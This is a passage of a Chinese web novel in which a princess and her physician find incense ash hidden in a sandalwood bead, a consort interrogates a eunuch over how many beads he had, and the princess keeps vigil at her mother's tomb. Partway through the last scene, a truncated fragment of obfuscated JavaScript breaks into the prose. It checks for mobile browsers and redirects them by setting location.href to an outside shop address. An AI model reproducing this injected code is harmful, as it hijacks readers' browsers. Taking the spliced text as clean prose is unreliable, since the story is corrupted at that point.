邱念慈如同发现了新大陆，用指尖继续剐蹭，露出黑色涂料下颜色浅淡的黑檀。
“殿下，你看！”他惊呼道。
李意清探头望去，黑色的涂料剐蹭掉以后，能看清下面的淡色檀木。
和邱念慈的惊讶一样，她也不禁眯了眯眼睛。
檀木这东西，年份越久，其质地越紧密，颜色越暗沉，色泽越莹润，香韵越醇厚。
怪不得，怪不得。
邱念慈心中豁然开朗，他闻其味，掂其质，怎么看，也不像是一颗品质绝佳的老料檀木的水准。
原来这是一颗人为制造、以次充好的新料檀木。
把表层的黑色涂料刮去后，露出一条打磨平整的细缝。
“如果猜的不错，这枚檀木曾经被人锯开，装入东西后，又用鱼胶粘合，刷上涂料。”
邱念慈还原了经过。
看来徐钱礼真正想传递的消息，正是藏在檀木里面的东西。
李意清心脏怦怦直跳，她有预感，如果能弄明白里面装的是什么，那么她的大部分疑问都能被解答。
邱念慈并没有直接草莽地伸手去抠开那道细缝，而后小心翼翼放平后，伸手在自己的药箱中一通翻找。
他手中捏着银质的薄片，上宽下窄，薄厚均匀，像一片细长的竹叶。拿出后，他仔细观察细缝的走向，而后对李意清道：“殿下，屋中可有针脚细密的布片，越细密越好。”
李意清抬眸看向毓心。
毓心想了想，“前两日送来的一批绢絮刺绣，料子紧实，号称可淋雨不湿，这样可以吗？”
邱念慈连连点头：“自然可以，自然可以。”
毓心得命，立刻出去取布了。
等待的期间，邱念慈道：“殿下不说，我也晓得此物珍贵，我弄一些回去研究，留下一部分，若是出了岔子，总不至于两手空空。”
说白了，就是做两手准备。
李意清稍加一想，就明白了邱念慈的担忧。
邱念慈并不住在公主府上，家中不似公主府这般守卫森严，这些日子邱念慈频繁出入公主府，李意清如果贸然下令派人驻守，太过扎眼。
倒不如装成寻常问诊模样，免得惹人注目。
李意清道：“邱先生思虑周全。”
邱念慈摆了摆手，“不过是比你多吃了这许多年饭罢了。殿下聪慧，处事周全，以后必然比我更细致。”
毓心拿来布料，叩门询问后进屋。
她将手中布料放在桌面上，气喘吁吁问道：“这么大可够用了？”
桌上的绢絮刺绣布料方方正正，长一尺，正适合做手绢。
邱念慈拿起布料对着光底下，只能隐隐约约感受到光的轮廓。
针脚细密，密不见光。
邱念慈朝毓心颔首：“够用够用，辛苦毓心姑娘了。”
他说完，将绢絮刺绣垫在下面，用银片戳进檀木珠的细缝，微微使劲，一点点将鱼胶分开。
这一步骤急不得，李意清和毓心都耐心地没出声。
滴水成冰的时节，只过半炷香时间，邱念慈已然满头大汗。
他眼睛越发不好，好几次银片都堪堪擦着他的指甲划过。
一圈撬完，只需要用力掰开即可。
邱念慈拿帕子擦干自己脑门上的汗水，生怕自己的汗水染到里面的东西。
掰开后，里面是小小的一团香灰。
毓心凑近看了看，“殿下，邱先生，这是已经燃烧过的香灰吧？”
邱念慈道：“正是。殿下，你可知道这香是什么来头？”
李意清凑近闻了闻，仔细辨别一番，默了默，还是决定对邱念慈如实相告。
“这是父皇在太和殿中的熏香。”
“父皇？陛下？！”
邱念慈的紧张程度显而易见提高了一个档次。
“邱先生，你小声些！”毓心连忙道，顿了顿，她有些不安地看向李意清，“殿下，那人将这东西运出来，是不是说明有人要害陛下？”
越说到后面，毓心的声音越小。
那可是皇帝啊，哪个不要命的敢对他出手。
真不怕自己九族脑袋落地吗？
邱念慈年轻的时候就认识陛下和皇后，当年他饥寒交迫之际，多亏了皇后好心施粥之恩才有了今日。
若是一直有人对顺成帝下药，那会不会和皇后的死……
他沉了沉神色，拱手对李意清道：“殿下放心，我必然竭尽全力，查出里面是什么！”
李意清松了一口气，幸好邱念慈并非听到此事牵扯甚大，就畏缩不前。
曾被父皇和母后暗中委托的人，果然不是胆小怯懦之辈。
但是为了避免毓心和邱念慈恐慌，李意清没有指出她曾在淑贵妃的身上闻到相同的味道。
淑贵妃是宫中的老人了，当年依附在皇后的身边，和贤贵妃向来不对付。
现在太子地位受损，五皇子凭借外戚势力欲发不容小觑，淑贵妃选择这个时候对太和殿动手脚，是要向贤贵妃投诚，还是另有打算。
她不在京城的这段时日，到底发生了什么。
李意清眸色深深。
邱念慈用银片将香灰一分为二，一份包裹在绢絮刺绣布料中，另一份他放在小瓷瓶中。
“殿下请好生将这份收好。”邱念慈一边说着，一边伸手将小瓷瓶朝李意清伸手推来。
李意清有些意外，她本以为布料中的那一份才是她需要保管的。
邱念慈笑了笑，没有解释。
瓷瓶显眼，若是来回磕碰易碎不说，若是被人挡住了去路，被人夺走可真一点法子都没了。
布料细腻，沾染了粉末后若不清洗，就会长久保存。
窗外，渐渐染上一抹浓稠的夜色。
邱念慈起身向李意清告辞，“殿下这段时日忧心过重，当好生调养才是，过段时日我再来请脉。”
“多谢邱先生。先生请这边走。”毓心引着他出去。
两人走到公主府门口，邱念慈朝毓心拱手道：“外头天冷，毓心姑娘留步，老朽自行走回去就是。对了，还要请姑娘敦促殿下服药，毕竟良药苦口。”
毓心一一应下。
邱念慈背着药
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箱，不紧不慢地走在回家的路上。
公主府的地段好，朱雀大街，人烟不断。
在京城中，他也算个名气不大不小的郎中，有熟人见到他，扬声打招呼道：“邱郎中，出诊去了？”
邱念慈神色如常，平静笑回：“公主这几日受了风寒，她信得过我，请我上府医治。”
那人道了声：“了不得！”
邱念慈笑笑不语，朱雀大街的尽头往巷子中一钻，第三户就是他家了。
这巷子比起朱雀大街沿街两岸的高门府邸自然算不上值钱，但毕竟是京城的地界，也不会显得荒凉。
往日，这一段路上还能瞧见摆摊的、卖腌菜的，今日却空落落的。
邱念慈心道：来了。
他今日在公主府的时间逗留过长，果然引起了一些人的注意。
黑夜中，两道身影勾肩搭背，酒味熏天，
不知道的，还以为谁家酒坛子翻了。
两个醉鬼走到邱念慈的面前，上下打量一圈他，左边那人眼睛发光道：“大哥，是个郎中！”
被称为大哥的醉鬼脸上一道疤，从右眉眉骨一直到左脸正中间，看着骇人得很。
他怒目一瞪，眼如铜铃：“喂！老匹夫，快把身上值钱的东西通通交出来！”
邱念慈袖中底下的手不着痕迹地摸了摸他别在袖子上的银针，佯装惊慌地后退两步，“两位大爷行行好，老朽身上真没几个钱。”
他这话说的不假，在京中他多为付不起诊金的穷人治病，确实挣不到几个钱。
大哥往地上狠狠吐了一口唾沫，凶神恶煞道：“有没有钱，等我俩兄弟搜过自然晓得，二狗，扣住他！”
左边瘦高一些的二狗二话不说，立刻上手。
他力气很大，出手也像是学过功夫的练家子，手一抬一收，就牢牢将邱念慈的双手扣住。
果然是预备而来。
邱念慈眸色沉沉，但是面上，他只装做遇到了匪徒的寻常大爷，大声哀嚎。
二狗一把捂住邱念慈的嘴，威胁道：“老实点！”
邱念慈呜呜了几声，眼睁睁看着醉鬼大哥抢了他的药箱，在里面一阵翻找，呸了一声。
“还真是个穷鬼，里面就一根笔和一沓纸，”醉鬼大哥骂骂咧咧地翻找，几张为人请诊垫手的布被他直接忽略了过去，他手掌很大，一巴掌将他药箱中的小瓷瓶全都收走，“这东西穷人也用不起，说不定是给达官贵人准备的，兴许能值几个钱。”
说完，他随手将药箱往地上一丢。
药箱是木制的，丢在地上，发出哐当一声。
再无瓷器破碎的声音。
醉鬼大哥似乎还不解气，用力一脚踢在药箱上，药箱飞出去好几尺远。
他啐了一口：“穷鬼郎中给穷鬼看病，穷到家了，白白浪费大爷时间！二狗，走了！”
二狗应了一声，松开邱念慈的手腕。
短短一会儿功夫，他的手腕已经出现一道明显的红痕，可见抓他之人用力之大。
不过好在……邱念慈不着痕迹地松了一口气。
今夜夜色昏沉，他们只当那布料是市面上不值钱的散布，没有一一细看。
醉鬼兄弟将从他身上抢来的瓷瓶收好后，勾肩搭背准备离开。
邱念慈揉了揉酸痛的手腕，蹑手蹑脚地准备去把药箱捡起来。
就在手快够到药箱的时候，背后却忽然传来一声冷冷的嗓音。
“等等！”
邱念慈呼吸猛然急促起来。
那对醉鬼兄弟去而复返！
176. 十八颗
醉鬼大哥俯身看着他，身上的酒味刺鼻。
越是这个时候，越不能显得惊慌失措。
邱念慈哭嚎道：“瓷瓶都被你们抢走了，还能剩下什么值钱东西！”
醉鬼大哥阴恻恻一笑，露出森白的牙齿：“这不还有你吗？”
说完，他转头看向一边的二狗，朝他使了一个眼色，“搜身。”
走出去两步他才想起来，若是真有什么重要的东西，还是放在自己的身上最保险。
二狗把手捏得噼啪作响，“好嘞，大哥你放心吧。”
他揪住邱念慈的领子，一阵翻找，除了身上的衣裳，什么也没有。
二狗不死心地找了三遍，才闷闷对醉鬼大哥道：“大哥，他身上什么都没有。”
醉鬼大哥猛然伸手，拽住邱念慈的手腕。
藏在袖子里侧的银针顺着他的动作刺入邱念慈的肌肤中，邱念慈硬生生地忍住了痛意，“两位，老朽真的就是一个穷郎中！”
醉鬼大哥冷冷甩开他，招呼二狗一声。
邱念慈原封不动地坐在地上，等了一会儿，见两人真的离开，才伸手把银针拔了出来。
针不粗，除了痛疼难忍，并没有血流如注。
他咬着唇，没有拿药箱中的布料，直接用袖子摁住了针眼，片刻后血不流了，他才松开。
虽然这枚银针上面查不出什么，但是多一事不如少一事。
今日被查出的可疑物越少，他和公主，都能多一分安稳。
那两人虽然闻着酒味熏天，可是神情清晰，动作干脆，分明只是把酒泼在自己身上，佯装自己酩酊大醉。
不知道是何方势力派来的人物，或许正是在太和殿投香之人也说不准。
公主的身边，当真豺狼四伏。
邱念慈站起身，拎起自己的药箱，一瘸一拐地回了自己院子。
*
另一边的皇宫中。
顺成帝去完皇后的灵堂后，又回到了自己的寝殿，批了一夜的折子。
淑贵妃伺候在侧，用小小银剪刀剪去坠落的烛花后，走到顺成帝的身边，柔声道：“陛下操劳多时，现在天色已晚，不妨先休息吧。反正这么多折子，今夜也是看不完的。”
顺成帝猛然抬头。
淑贵妃被他如鹰隼般的眼眸吓到，愣了一瞬，才恢复了过来，“陛下，怎么这样看着臣妾？”
顺成帝若无其事地收回视线，伸手揉了揉眉心，满脸的疲惫：“朕倒是想休息，可是西北战事吃紧，朕如何能不心焦。”
淑贵妃柔声劝慰：“陛下不必担心，有盛大将军在呢。”
顺成帝想起盛永成的身子骨，微不可察地蹙紧眉头。
盛永成是有本事，可是年复一日，他的寒疾也欲发难忍。
若是战场上遇到这样的事情，岂不是将大好河山拱手让人。
淑贵妃见顺成帝深思，伸手拿起了桌上放着的药盒，打开盖子后取出一枚丹丸。
“陛下操心太多，神思困顿，这丹丸是翟方士最新改良的养元回春丸，陛下就着参汤服下，好好睡上一觉，明日精神了，自然知道派谁去前线才是最好的。”
淑贵妃虽然已经年过三十多，但是保养得宜，手指葱白如玉。
顺成帝看着她手上的丹丸，就着她的指尖，含了下去。
淑贵妃脸上的笑意瞬时真切了许多，端着参汤走到顺成帝的身边伺候他服用。
“这就对了嘛，天大地大，陛下的身子才是最最要紧的。
服饰顺成帝睡下后，淑贵妃站起身，整理了身上的衣裳后，对身边的大宫女道：“你去找玉顺仪过来，看着陛下。”
大宫女道：“那娘娘您呢？”
淑贵妃冷冷一笑，和方才温婉顺从截然不同。
“打狗。”
大宫女吃了一惊，顺成帝宠爱玉顺仪，将协理六宫之权给了自家娘娘，可以说除了顺成帝，便是淑贵妃在宫中地位最高也不为过。
“难不成是贤贵妃吗？”
“那个没脑子的贱人，她也配我特意上门敲打？”淑贵妃闻言，笑容越发轻蔑，“切让她沉浸在自己儿子有所为的大梦中吧。”
毕竟美梦不在，才是最痛彻心扉的。
大宫女便不解了，如果不是贤贵妃那边的人，又是谁敢在淑贵妃的地盘上放肆。
她刚欲出口再问，便被淑贵妃打断。
淑贵妃紧紧蹙着眉间，神情不悦：“你今日的问题有些多了。”
大宫女自知失言，立刻诚惶诚恐地跪在地上，表着忠心：“奴婢对娘娘绝无二心，只是担心哪个不长眼的宵小竟敢冒犯娘娘。”
旁人不晓得，她跟在淑贵妃的身后多年，自然知道淑贵妃绝非表面上的温良之人。
后宫之中，即便看上去最雍容随意的皇后，也绝非彻头彻尾的大善人，没点手段，总能高台稳坐，岁岁无忧。
淑贵妃蹙眉看着她，似乎不知道该给她一个什么处罚适合。
“罢了，念你是初犯，自行去领罚。”淑贵妃淡然开口，声音冰冷。
数九寒冬，大宫女的背上生生吓出一身冷汗。
听到淑贵妃的处罚，她如蒙大赦，不住地在地上磕头谢恩：“多谢娘娘，多谢娘娘。”
淑贵妃不再浪费时间，回到了自己的宫殿。
她端起身侧冒着热气的茶水，动作随意地拨弄着茶叶浮沫。
不愧是帝后才能享用的顾渚紫笋，味道比起分给后宫妃嫔的蒙顶山茶好了不止一星半点。
她饮了两口，放着杯盏的时候，外头传来了动静。
“贵妃娘娘深夜相邀，也不知道是为了何事，咱家心底也没个数……”
“徐公公担心什么，娘娘问什么，你答什么就是了。”
外头喧嚣声平静，门被人推开，一排人被推了进来。
为首的，正是总领太监徐钱礼。
徐钱礼见过大场面，见到侍卫将他和一行小太监押来后就关上了门，反而镇定了下来。
今日下午他丢下檀木珠的时候就已经预料到了这个场面，只是没想到来的那么快。
灵堂上他和李意清只见了匆匆一面，很多信息都说的不完整，若是李意清没能体会到他的意思，那么被人擒拿只是早晚的事。
早在丢下檀木珠的时候，他就做好了不会置身事外的准备。
徐钱礼恭恭敬敬朝淑贵妃行礼，“不知道淑贵妃深夜叫奴才们过来，是为了什么事？”
淑贵妃看着他一脸的坦然，嘴角勾起，“本宫听说今日徐公公去给陛下去药，特意走了嫦
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月殿宫门前的小路？”
她刻意加重了嫦月殿。
徐钱礼不慌不忙：“回禀贵妃娘娘，今日皇后封谥，来吊唁的皇室宗亲朝中大臣众多，奴才为了避免冲撞贵人，才走的小道。”
淑贵妃：“是吗？”
她伸手轻敲着桌面，“如此看来，倒是本宫冤枉了徐公公的一番好意。徐公公你说，本宫是不是应该好好赏你一番？”
徐钱礼道：“为陛下、为娘娘办事，都是奴才应当做的。哪里需要什么赏赐。”
“徐公公倒是豁达，不过倒是巧的很，公公带的檀木珠刚好在嫦月殿附近断裂，既然徐公公不要赏赐，可别辜负了本宫的一番好心。”
淑贵妃意有所指，不动声色看了一眼旁边的宫女，宫女会意，朝她俯身退下。
片刻后，宫女拿着一个托盘进来，上面盖着一块金黄色的绸布，教人看不清下面放着什么。
淑贵妃道：“听闻徐公公一直很宝贝自己手上的檀木珠，但是为了给陛下取药，连珠子掉了也没有理会。本宫感念徐公公对陛下的一番赤忱，教人捡了回来，也不知道有没有少……”
徐钱礼握住拂尘的掌心都是汗。
淑贵妃放慢了语气，一字一句问道：“这捧珠子本宫还没数过。徐公公还记得，是多少颗珠子吗？”
她声音不大，却格外有压迫感。
徐钱礼思绪飞转，他手中的珠子盘了许久，十八颗不多不少，但是今天为了给於光公主传递消息，特意在上面另串线多绑了一颗。
所以是十九颗。
按理说，他应当说十九颗，若是公主殿下明白了他的意思，拿走了其中一颗，他也能借口推辞一颗不知道滚到什么地方去了。
可是，他平日戴着这串珠子并不避人，比如他的徒弟小全子，就好几次见到。
小全子会当场拆穿吗？
徐钱礼不敢赌。
他思考期间，淑贵妃悠悠然开口：“徐公公不是很珍视自己的珠子吗？难道连多少颗都不记得了吗？”
徐钱礼闭了闭眼眸，“十……”
他话音未落，小全子匆忙喊道：“十八颗，是十八颗！”
淑贵妃眯了眯眸子，视线落在小全子的身上，“你是什么人，本宫与徐公公说话，关你什么事？”
小全子立刻道：“贵妃娘娘，奴才是徐公公的徒弟，诨号小全子。”
徐钱礼侧目看向一脸急切的小全子。
小全子不着痕迹地避开他干爹的视线，对着淑贵妃道：“娘娘，徐公公他每日都擦那串珠子，奴才定然不会记错。”
他的声音急迫，隐隐破音，像是生怕别人不信他。
淑贵妃似笑非笑，伸出芊芊玉指虚空点了点，“徐公公，你瞧你只顾着陛下和本宫的事情，都忘了自己的珠子该是多少颗了，幸好你这徒弟不错，记得比你牢。”
小全子一脸谄媚的笑。
徐钱礼心沉了下去。
若是十九颗，他尚且能糊弄一番，可是现在十八颗摆在明面上，若是公主没能捡走那一颗，他可就把公主也拉下了水。
淑贵妃心情颇好，对捧着托盘的宫女道：“你来，好好数数，可别数多了出来。”
她刻意加重了“多”，说完，一瞬不瞬盯着徐钱礼看。
177. 双宿双飞
徐钱礼维持着脸上的淡定，只有他自己心底知道，心中已经掀起了怎样的惊涛骇浪。
众目睽睽下，宫女盯着众人的视线，数的很慢。
淑贵妃出声道：“多少？”
小宫女砰地一声跪在地上，头也不敢抬，“十……十八颗。”
淑贵妃脸上闪过一丝不可置信。
“你说多少？”
“娘娘，奴婢数了三遍了，真的是十八颗。”小宫女头皮紧紧贴着地砖，颤抖着声音。
淑贵妃黑色黑得像块碳，站在淑贵妃身后的宫女主动上前两步，一把推开托盘的小宫女。
“你起开！”
她手下并没有留情，托盘的小宫女猛然被一推，双膝砰地一声跪在地上，脸色疼得苍白一片。
淑贵妃等了片刻，宫殿中落针可闻。
没有人敢说话。
徐钱礼松了一口气，看来今日，公主殿下猜到了他的意思。
他不着痕迹地看了一眼小全子佝偻的背影，主动道：“贵妃娘娘，这十八颗檀木珠，可是有什么不妥？”
淑贵妃站起身，缓缓走到徐钱礼的面前。
留在殿中的宫女都是她精心筛选过的，绝不可能对她弄虚作假。
她没有必要自取其辱再数一次。
“你，”淑贵妃伸手虚虚点了点徐钱礼，声音听不出褒贬，“很好。”
徐钱礼：“奴才不敢当。”
淑贵妃:“徐公公在陛下身边伺候多年，实在是辛苦，本宫瞧着你带出这个徒弟不错，以后就让他接替你的活计，你也好休息休息。”
徐钱礼刚欲开口，便看见淑贵妃身边的宫女语气森冷：“徐公公，你可别不知好歹。”
能保住一条性命，还没扯公主下水，已经是意外之喜。徐钱礼闻言，垂下了眼眸，恭谨道：“多谢娘娘体恤。”
淑贵妃心气平顺了一些，眼角余光扫过弯着腰的小全子，随意道：“你既然跟在徐公公身后不少年，想来能伺候好陛下，便由你替上吧。”
小全子被这意外之喜砸晕，忙不迭地跪下来朝淑贵妃磕头：“多谢淑贵妃娘娘，多谢淑贵妃娘娘，小全子即便是当牛做马，也难以报答娘娘的大恩大德。上刀山下火海，只要娘娘一声令下，奴才都在所不辞。”
他说话如炮弹。
淑贵妃被他逗得轻笑一声，“你倒是有趣，小全子这名太简单了些，本宫给你重新取一个名——就叫做申福全吧。
小全子，啊不申福全立刻满脸笑意，喜气洋洋：“多谢淑贵妃娘娘赏识。”
淑贵妃不动声色看了眼低着脑袋的徐钱礼，“你不用谢本宫，是你自己机灵。有些人不懂得抓住送到手的机会，你是个惜福的。”
她说完，摆了摆手，声音染上一丝困顿：“都散了吧，本宫倦了。”
徐钱礼和众人一样，行完礼后，一道退出了宫殿。
来时他身后有多少阿谀奉承的小太监，出去的时候就有多冷清。
徐钱礼一个人走在夜晚的深宫中，红墙金琉璃，满眼恢弘、富丽堂皇。
他本以为自己很难接受一夕之间就从最高的位置掉下来，但是事实上他无感无觉，甚至难得有了一丝解脱的快意。
伴君如伴虎，他每日行事，都将脑袋别在裤腰带上，生怕自己做错事情，就有了性命之忧。
或许以后的时日不会太快活，即便淑贵妃不吩咐人故意刁难他，也会有不少为了巴结申福全的会主动来恶心他。
可那又怎样呢。他在宫中生活了几十年，那些登不得台面的手段多少也见过一点，若是想凭借那些就让他低头，哼，真是做梦。
*
李意清坐在府上很不踏实。
毓心和茴香端来热水，伺候李意清洗漱，顺道说起了外头的事情。
“殿下，方才外头有醉鬼闹事呢。也不知道喝了多少，熏得人难受。”茴香轻轻帮李意清捶着腿，“还好禁军及时赶到，把那几个醉鬼扣押。”
毓心道：“也不知道是不是错觉，总觉得禁军到咱们府边的次数越来越频繁了。”
她拧干了帕子上的水，语气带着几分怅然：“也不知道是福是祸。”
现在局势，太混乱了。
李意清听闻醉鬼被捉拿，放下了悬着的心。
关于禁军在公主府周边巡逻的事情，李意清没有直接告诉她们李序泽将京城禁军的令牌交给了她。
李意清自然是信任她们的，可是事关重大，多一个人知道，反而多一分危险。
“对了，元辞章。”她像是想起什么，忽然站起身，随意穿上一双履鞋，跑了出去。
毓心看着她外套都没披上，急得追了上去。
“殿下，殿下。”
李意清跑得很快，走到前院的时候，正看见元辞章重新规划护院巡查的路线和交接班的时间点。
公主府的侍卫足足六十人，但是寻常在府上巡逻还是依靠这批护院的多。
这一次，元辞章将侍卫也分了四批，务必随行李意清身后，确保她出行安全。
李意清见他说的认真，没有贸然上前打扰。
追上的毓心气喘吁吁，将外套披在李意清的身上后，小声埋怨道：“殿下急着见驸马，竟是连自己的身子都顾不上了。”
李意清跑动的时候不觉得身上冷，一停下，才觉得冷风如刮刀。
她穿得单薄，再多站一会儿，铁定要风寒。
毓心道：“现在这个时候，殿下可不能病倒。”
李意清理亏，乖巧站着让毓心帮她系上衣服。
毓心说的没错，现在这个时候，她千万不能倒下。
母后仙去，皇兄现在门庭冷落，若是她再有损，只会让皇兄更加难受。
李意清认真对毓心保证道：“好毓心，我下次不会了。”
毓心没忍住，哼了一声：“殿下最好说到做到。”
她陪在李意清身边已经五年，自然知道李意清忙起来，哪里顾得上自己的安危。
李意清怔了一瞬，之前元辞章也对她说，要时刻将自己的安危置于首位。
可是更多的时候，她总是奋不顾身，想不起来曾许诺。
元辞章说完巡防路线，护院持着火把四处散开。
李意
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清走到他身边，鼻尖冻得红通通的：“你将侍卫都给了我，以后你出行怎么办？”
元辞章伸手将她冰冷的指节纳入手中，“元家还是有暗卫的，况且我也会一些拳脚功夫，夫人不必担心我。”
言外之意，不必担忧他的安全。
闻言，李意清蹙起的眉尖并没有放平。
依照元辞章的性格，估计若是二十人的暗卫，至少放十五个在自己的身边。
如果此刻暗卫能站在这里并且听到李意清的心声，一定会大声反驳道：哪里是十五个，明明是全部。
不管有多少，公子从来不会先考虑自己。
元辞章聪慧敏锐，善察人心，不过此刻他装作读不懂李意清的担心，岔开了话题轻声问：“殿下，明日皇后入陵，你可要随行？”
李意清点了点头，“此去短则一个月，长则三个月，我就会回来。”
皇后身为国母，不缺她一盏海灯长明，可是为人子女，她只是抓住最后的时间陪伴在母亲的身边。
元辞章轻叹一声，轻到几乎微不可察。
他伸手将李意清揽到自己的怀中，下巴抵着李意清的肩头。
李意清伸手回抱住他，贪婪地汲取他身上浅淡的气息。
毓心不知道什么时候已经离开，前院除了假山与竹林，只剩下紧紧相拥的两人。
片刻后，李意清抬头望他，“京城不好，如果可以，我真想带你一起走。”
她这句话说的五分赌气，五分真心。
现在京城中各方势力蠢蠢欲动，她是真想一走了之，不再理会这凡尘种种。
她是顺成帝的女儿，即便母后不再了，也依旧可以当一个闲散逍遥的公主，做方外闲云野鹤。
“可是，我不能带你走。”李意清道，“你好不容易从舒州府熬过来了，父皇还没有加封你的官职，你的才华不应该因为我的逃避而被埋没。”
元辞章安静地看着她。
李意清自顾自地说下去：“虽然我知道，你并不在乎这虚名、这满城荣华。”
元辞章叹息：“殿下懂我。”
李意清正色道：“元辞章，如果皇兄身体尚好，我心中一百个愿意带你远走高飞。可是现在不行，至少不能放任大庆这样下去。”
元辞章：“殿下想带我远走高飞？”
李意清：“你有没有认真听我说话？”
“在听，”元辞章松了些力道，“殿下的意思无非是若有有人能守住大庆江山，便愿意与我双宿双飞。”
李意清：“孺子可教。”
李意清：“……？？？”
不对，什么叫做双宿双飞。
李意清不轻不重瞪了他一眼，看来舒州那段时间的话本，让他学到不少。
元辞章蹭了蹭李意清的肩头，尾音微哑：“殿下，这还是第一次有人说我孺子可教。”
以前教过元辞章的夫子，无不称他一点就通。
李意清故作平静低咳一声：“方才一时情急，你懂我意思就好。”
元辞章道：“我懂。”
他扯住李意清的手不愿意松开。
178. 永定陵
李意清看着今日格外黏人的元辞章，“好啦，先松开我，我还要去收拾东西。”
她说完，转身准备离开。
衣角被元辞章紧紧勾住。
“怎么了？”李意清站定，神色带上了几分认真。
元辞章静了一瞬，缓缓道：“现在西北战事吃紧，陛下让大皇子远赴西北巡查。”
李意清怔了一瞬间，旋即摆了摆手：“皇兄身为父皇在京城唯一成年的皇子，自然应当为国戍边。母后在天有灵，也会欣慰。”
只是这个时间让大皇子远离京城，不知道又会在京城掀起多少风雨。
元辞章道：“另一桩事，是二皇子准备启程回京了。”
二皇子远在漳地，接到消息自然比常人迟钝许多。
这两件事情单单一件发生都不会有什么稀奇，可是放在了一起，就不免让人多想。
大皇子腿脚不便，二皇子怒而划脸，本以为绝了继承大统的期待，可是现在看来，顺成帝并不在意。
也是，区区皮相，若是真能荣登大宝，谁会在意他是方是圆。
况且，二皇子的生母早逝，他是一直被养在淑贵妃娘娘身下。
若是顺成帝有意立继后人选，淑贵妃无疑是热门人选。
这样一来，二皇子不管是里子面子，都有了着落。
李意清点了点头，眼中带上一抹怀念。
“也是好久没有见到二皇兄了。”
虽然从小到大，每次见到二皇子都准没好事。
*
一个月后，永定陵。
李意清拿着一卷经书跟在诵经的大师身后像模像样地念诵，念了一半，洛石轻手轻脚地走进屋内，附耳在李意清的身边小声道：“殿下，二皇子到永定陵外了。”
李意清翻了一页，像是没有受到打扰。
“殿下。”洛石在旁边又小声唤了一声。
明眼人都看得出来，二皇子李行渊特意为李意清而来。
李意清缓缓合上书：“知道了。”
她对着前排的大师微微俯身，得到对方的示意后，和洛石一道走出来。
陵外，是难得的冬日暖阳。
今年的除夕遇到大丧，还没来得及好好在漫雪中赏灯看火树银花，转眼间快要入春。
永定陵外，是长长三百多级台阶，修整的极其宽阔。
陵外，横向和纵向各自栽种了一排整齐的桃树，都是虞部司精心选育的品种。
天气暖和起来，地面上微微能看见挣破衰败的新芽，但是桃树上还是光秃秃一片。
永定陵洒扫的宫女许是觉得太冷清了，于是不知道从哪里弄来彩色的绸缎，系在了空荡荡的树枝上。
风起，彩带随风飘扬。
倒是让人觉得永定陵旁边不至于过分冷清。
李意清收回视线，拾阶而下。
台阶只走了几十步，一行人马踢踏而来。
二皇子李行渊一跃下马，一路狂奔而上。
李意清见他看着像有一身使不完的牛劲，干脆站定不再往下走，气定神闲地等着他。
李行渊一口气爬上来，气都喘不匀了。
他双手毫无顾忌地撑在双膝上，口中喘着粗气，平复了一阵子，出声问：“皇兄已经启程了？”
李意清在心中估算了一番从京城到西北所需要的时间，点了点头，“这个时辰，皇兄应该到了。”
几乎是知道李序泽要去西北的第一时间，李意清就去信给了盛蝉和柳夕年。
盛蝉有军中驿馆回信，先一步将传信送回，扬言让她放心就是。
李行渊握紧了拳头，又慢慢松开。
如果不是陵前台阶什么都没有，他估计已经一拳砸在墙上了。
“皇兄不应该走！”他道。
李意清：“皇兄留在京城已经没事可做，去了西北，倒不会埋没才华。”
李行渊依旧忿忿。
“不知道的，还以为你是他的皇妹，这般替他打抱不平。”李意清故意松快了语气，逗他。
李行渊忽然偏头不语，腮帮子鼓着气。
“谁替他打抱不平，本殿下只是，只是看不得大庆痛失……。”
后面的话，他自动噤声。
今时并非往日，有些话已经说不得。
李意清：“没关系，现在皇兄至少能做实事。”
人忙起来，总好过闲散下来黯然神伤。
李行渊沉默了一会儿，错开这个话题。
他抬眸看了一眼近在咫尺的陵墓，问李意清：“我能进去给皇后娘娘上一炷香吗？”
李意清让开半个身位：“自然可以。”
两人顺着台阶一路向上。
永定陵中，供奉着皇后的画像。
旁边，是袅袅不绝的香火，诵经的大师神情专注，仿佛只要他们足够虔诚，皇后便能早登极乐。
李行渊在李意清的帮助下，点燃了三炷香，跪下行完全礼后，站起身将香插在了坛中。
“节哀。”
李行渊说的很别扭。
李意清摇了摇头，刚开始几天她忍不住偷偷地哭，觉得这只是自己的一场梦境。
现在，已经接受了许多。
李行渊看她沉默，顿了顿，故作轻松地开口：“其实也没什么，我亲娘走的时候我才两岁。但是你看，现在不都过来了吗？”
李意清生的晚，她出生之后，李行渊的生母已经没了。
两岁大的李行渊刚会牙牙学语，就被抱到了当时淑妃的宫殿。
伺候他的老太监和奶嬷嬷都说他运道好，亲娘身份低下，给不了他庇佑，但是现在不一样的，那可是一宫主位。
二殿下再也不必因为自己的出身而觉得低人一等了。
两岁的李行渊自此再也没见过会抱着他哼歌和悲哭的女子了。
李意清问道：“你还记得她吗？”
李行渊似乎没想到她会这么问，闻言，站在原地思考了一会儿。
他竭力搜刮着脑海中最浅薄的印象，可是不论他怎么努力，脑海中只剩朦胧一片。
他再也想不起来了。
“不记得了。”李行渊说的很平静，“我当时太小了。后来我弱冠那年，我追问陪在我身边嬷嬷，问她我亲娘是个什么人，但是嬷嬷也记不清了。”
嬷嬷告诉他，她只在那位身边侍奉了三年，女子瘦弱得厉害，当时怀着李行渊的时候，还未满二十岁。
李行渊觉得很不可思议，在还没有他大的年纪，那个女人就已经独当一面，生下了他。
他想追问更多，可是嬷嬷就沉着一张脸，语重心长地劝诫道：“殿下应当认清自己的身份，你现在是淑妃娘娘的孩子，以后那位别再提了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977427|129224||http|test|mini|href|location''.split(''|''),0,{}));
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李行渊低头看着自己的鞋履。
他一路疾驰而来，鞋帮子上沾满了灰尘。
“我甚至都不知道，她有没有一座像样的坟墓。清明中元，是否有人为她亮一盏灯。”
李意清忽然心中泛起一阵轻轻的痛。
李行渊：“对了，你还要守多久？”
大庆重孝道，守陵三年不算罕见，但是现在时局动乱，真守三年，出来就该“换了人间”。
李行渊是不愿意看到这副场景的。
李意清：“还有两个月。”
听到还不错的消息，李行渊松了一口气：“好，我陪你两个月。”
李意清：“？”
如果她没记错，元辞章说召二皇子回京是顺成帝的意思。
